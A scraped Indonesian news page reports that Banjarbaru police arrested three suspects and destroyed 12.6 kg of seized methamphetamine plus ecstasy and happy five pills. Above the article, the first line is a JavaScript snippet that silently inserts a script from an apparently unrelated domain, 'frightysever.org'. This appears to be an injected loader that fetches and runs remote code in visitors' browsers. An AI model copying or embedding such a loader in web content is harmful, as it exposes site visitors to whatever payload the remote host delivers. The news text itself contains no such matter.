(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Narkotika jenis sabu seberat 12,6 kilogram hasil ungkap kasus Satuan Reserse Narkoba Polres Banjarbaru dimusnahkan pada pengujung tahun, Selasa (31/12/2024) siang.
Tak hanya sabu, dalam pemusnahan akhir tahun ini kepolisian juga memusnahkan ekstasi 25 butir dan happy five 4.560 butir.
Dalam pengungkapan kasus tersebut, Satresnarkoba Polres Banjarbaru menangkap tiga tersangka yang terlibat berinisial DIS, R, dan MA.
Baca juga: BREAKING NEWS! Mahasiswa Kalsel Unjuk Rasa Tolak Kenaikan PPN 12%
Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kasat Resnarkoba Polres Banjarbaru AKP Ahmad Denny Juniansyah menangkap tiga tersangka dari lokasi berbeda.
“Pertama di Jalan Simpati Ujung Kelurahan Syamsudin Noor Kecamatan Landasan Ulin Kota Banjarbaru, pada Jumat 8 November 2024, seorang laki-laki berinisial DIS dengan barang bukti sebanyak 5,2 kilogram sabu,” sebutnya.
Dari tersangka DIS, kepolisian melakukan pengembangan kasus ke Jalan Komplek Purna Sakti Jalur 2B, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
Di daerah Kelurahan Basirih, polisi menemukan barang bukti sabu 4,2 kilogram, ekstasi sebanyak 31 butir dan happy five 4.570 butir.
Baca juga: Mahasiswa Desak Presiden Terbitkan Perppu Batalkan Kenaikan PPN 12%
AKP Denny mengungkapkan, di lokasi ketiga, polisi meringkus dua tersangka yakni R dan MA di Komplek Bukit Harapan Permai RT 031 RW 005, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.
Dua tersangka itu membawa tiga bungkus teh China Guanyinwang berisi narkotika jenis sabu seberat 3.048,4 gram (3,04 Kg) yang dimasukan ke dalam tiga bungkus plastik warna hitam. Bungkusan itu dimasukan kembali ke dalam buah tas belanja Alfamart warna hijau.
“Di TKP komplek tersebut saat dua orang tersangka melihat anggota kepolisian Satresnarkoba mereka membuang tas belanja Alfamar. Dua orang tersebut menabrak mobil dari kepolisian dan langsung diamankan dengan ditunjukan surat perintah tugas,” katanya.
Tersangka dan barang bukti diamankan dan dibawa ke Polres Banjarbaru untuk kemudian melakukan kegiatan pemusnahan barang bukti di Mapolres Banjarbaru.
Baca juga: Pecah! Konser NDX AKA di Batfest 2024, Pantai Jhonlin Festival Jadi Lautan Manusia
Pemusnahan barang bukti narkotika dilakukan Polres Banjarbaru bersama jajaran Forkopimda Kota Banjarbaru, BNN Kota Banjarbaru, dan Kejaksaan Negeri Kota Banjarbaru.
Seluruh barang bukti dimusnahkan dengan cara sebagian diblender dan sebagian direbus di air mendidih kemudian dimasukkan kedalam larutan deterjen setelah itu dibuang ke septic tank. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Armada angkutan umum milik Pemerintah Kota (Pemko) Banjarbaru siap melayani jemaah kegiatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kegiatan rutin Malam Senin 5 Rajab di Mushola Ar Raudhah Sekumpul, Martapura,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak arus balik pada momen libur Tahun Baru 2025 mulai terasa di… Read More
KANALKALIMANTAN.COM, BATULICIN - Perhelatan Batulicin Festival (Batfest) 2024 di Pantai Jhonlin Festival baru saja sukses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Berbagai pihak tergerak dalam kegiatan rutin Malam. Senin 5 Rajab yang akan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Haul ke-15 KH Husein Mughni bin H Dahlan dan Haul ke-4 KH… Read More
This website uses cookies.